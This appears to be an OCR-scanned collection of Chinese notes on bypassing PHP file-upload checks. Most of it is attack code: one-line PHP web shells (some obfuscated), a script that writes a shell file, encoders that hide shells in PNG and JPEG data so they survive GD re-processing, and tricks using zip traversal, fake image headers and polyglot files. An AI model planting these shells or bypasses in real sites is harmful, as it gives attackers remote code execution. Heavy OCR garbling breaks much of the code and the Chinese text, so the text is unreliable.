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< ?php

¢filename="'1.php/.";

$content="<?php eval($_POST[1]);?>";
$f = fopen($filename, 'w');

fwrite($f, $content);
fclose($f);
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<?php

/*<?$_GET[0]($_POST[1]);?>*/

$p = array(@xa3, Ox9f, Ox67, Oxf7, Ox0e, 0x93, Oxlb,
Oxbe, Ox2c, Ox8a, Oxdo, Ox80, Oxf9, Oxel, Oxae,
0x22, oxf6, oxd9, ox43, ox5d, Oxfb, Oxae, Oxcc,
Ox5a, 0x01, Oxdc, Ox5a, 0x01, Oxdc, ©xa3, Ox9f,
Ox67, Oxa5, Oxbe, Ox5f, 0x76, Ox74, Ox5a, Ox4c,
oxal, Ox3f, Ox7a, Oxbf, 0x30, Ox6b, O0x88, 0Ox2d,
0x60, Ox65, Ox7d, Ox52, Ox9d, Oxad, Ox88, Oxal,
Ox66, Ox44, Ox50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[yl;
$g = $p[dy+1];
$b = $p[sy+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), ©, $color);

¥

imagepng($img, ‘1.png');

sudo apt-get install php-gd #HAE1TEEgdE

#AE R & A%< ?$_GET[@]($_POST[1]);?>

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations cause
d by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:

jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:

1) After the second processing the injected data may become partially corrupted.

2) The jpg_payload.php script outputs "Something's wrong".

If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = '<?=eval($_POST[1]);?>';

if(!extension loaded('gd') || !function_exists('imagecreatefromjpeg')) {




if(!isset($argv[1])) {
die('php jpg_payload.php <jpg name.jpg>');
)

set_error_handler("custom error_handler");

for($pad = ©; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_ contents($argv[1]);

$extraBytes = 0;

$correctImage = TRUE;

if($dis->readShort() != OxFFD8) {
die('Incorrect SOI marker');

}

while((!$dis->eof()) & ($dis->readByte() == OxFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === OxDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_ '.$argv[1l], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === OxFF) {
if($dis->readByte !== 0x00) {

break;

$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
9,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
¥
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;




unlink('payload '.$argv[1]);

die( 'Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE)
global $correctImage;
file put contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);

return $correctImage;

}

function custom error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];

class DataInputStream {
private $binData;
private $order;

private $size;

public function __ construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']");

$this->binData = file get contents($filename);
} else {
$this->binData $filename;

}

$this->size = strlen($this->binData);

}

public function seek() {
return ($this->size - strlen($this->binData));

}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {

die('End Of File');

}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);




public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
¥
$short = substr($this->binData, @, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
b

return $short;

¥

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);

ok b —iKkjpg B Fr , FFE EAR HIE R T 8RB A
php A4 THEIAMEE F 4

7] 2% https://www.cnblogs.com/forforever/p/13191999.html

k4R b

tar | 1%

S B A I

zip L%

MWEBRR %28 0 e 45 6 B B R B, 7] L _b A& Zip SCfgetshell
#11234.php 4 Ayshell.zip

0104EzipH 11234 phpHa k. ../1.php(1234 104 3 7 .../ PIA 275, BT LA BE 2 B )
LAEB A zip L — 2% B R4 R .php ST

SO Sk A B

getimagesize

getimagesize 5 Hois Il & A K/ RIS 3 B A5 SR B 2 — KB A, R BCK N FRBERARFE B HER

B SO HHE A8 o R A T 20 1 B A R

ttdefine width 1337

Hdefine height 1337 #/(7E XMk, HR2 WL RN, KFER, FHERA L

il 1F B S e Al



copy smile.jpg/b+info.php/a smile info.jpg
SOk (16 Fasciifid) in E—A)iE

B SRS BRI — 4

exif_imagetype

exif_imagetype i £ Bl — AN BB KI5 — N FH IR E RS
i1 B D geid

SCAF A B R

USRI A

PHP#5 %

php B BiESE Ml php K+

Example #2 PHP FFEATDEERATIE

1. <7php echo "if you want to serve XHTML or XML documents, do it like this'; 7>
2. <script language="php">
echo 'some editors (like FrontPage) don\'t
like processing instructions';

</script>

3. <7 echo 'this is the simplest, an SGML processing instruction'; 7>
<?= expression 7> This is a shortcut for "<? echo expression 7>"

4, <% echo 'You may optionally use ASP-style tags'; %>
<%= $variable; # This is a shortcut for "<% echo . . ." %>

EfIAPEY 1 F0 2 pERRRC S EATAN, ERmf 1 RESEER, HEINERR.
SR (1 3) (WEEY phe. ini BEMEFHHES short_open_tag FIFEAT A, FETE PHP &FiEHTI0A T --enable-short-tags #5117,

ASP RABHME (k4 4) (DB she. ini BREAFTEHES asp_tags FIFEATA.
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<?php
$poc=""s#ytsttH#e#m";
$poc_1=explode("#",$poc);

$poc_2=$%$poc_1[0].$poc_1[1].%$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_REQUEST['1']);
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